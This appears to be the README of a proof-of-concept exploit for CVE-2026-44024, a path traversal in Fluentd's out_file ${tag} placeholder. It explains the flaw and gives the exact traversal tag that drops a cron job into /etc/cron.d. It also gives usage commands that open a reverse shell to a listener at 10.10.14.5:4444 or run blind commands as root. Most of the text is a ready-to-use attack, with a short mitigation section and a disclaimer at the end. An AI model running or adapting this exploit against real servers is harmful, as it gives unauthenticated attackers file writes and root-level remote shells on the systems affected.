
Proof-of-concept exploit for CVE-2026-44024, using a crafted in_forward tag to write arbitrary files through Fluentd's out_file path traversal and trigger command execution.
out_file ${tag} Path-Traversal Arbitrary File WriteUnauthenticated arbitrary file write in Fluentd's out_file
plugin via the ${tag} placeholder.
out_file lets operators template the output path with a ${tag} placeholder
(e.g. path /var/log/fluent/${tag}). Output#extract_placeholders
(lib/fluent/plugin/output.rb) substitutes the event's tag into the path without sanitizing
../ (CWE-22):
if str.include?('${tag}')
rvalue = rvalue.gsub('${tag}', metadata.tag) # attacker-controlled tag, no ../ check
Events arriving over the in_forward protocol (port 24224) carry a tag taken verbatim from
the wire message, and allow_anonymous_source defaults to true, so an unauthenticated attacker
can set a tag like ../../../../../../etc/cron.d/pwn to escape the configured directory and write to
an arbitrary absolute path as the fluentd process user.
<= 1.19.21.19.3 (rejects ..//absolute components in the tag before expanding ${tag}, PR #5391)in_forward, not in_httpin_http derives the tag from the URL path with path.split('/').join('.'), which turns every /
into . — so ../ cannot survive on Linux (and %2f is not decoded). Only the forward
protocol (24224) passes the tag byte-for-byte. This exploit speaks just enough of that protocol (a
msgpack [tag, time, record] message) with a tiny built-in encoder — no dependencies.
Python 3 standard library only. The target must run a vulnerable Fluentd with an out_file whose
path contains ${tag}, and an anonymous in_forward source (defaults). Turning the write into a
clean cron drop assumes an out_file that doesn't mangle the filename/content (e.g.
add_path_suffix false, append true, no timekey, single_value format) — otherwise use the file
write to overwrite a known-path file.
# reverse shell (start a listener first: nc -lvnp 4444). Fires via cron within ~60s.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444
# blind command as root
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'
# custom forward port
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444
Sends a forward event ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}]
to port 24224. out_file expands ${tag} → /var/log/fluent/../../../../../../etc/cron.d/pwn =
/etc/cron.d/pwn, and (with a single_value format) writes the record's msg verbatim → a valid
cron line. cron runs it within ~60 s as the fluentd user (root where fluentd runs as root).
Upgrade Fluentd to ≥ 1.19.3; don't expose the forward port to untrusted networks (enable shared-key
auth / allow_anonymous_source false); don't run fluentd as root; avoid ${tag} in output paths
for untrusted inputs.
For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.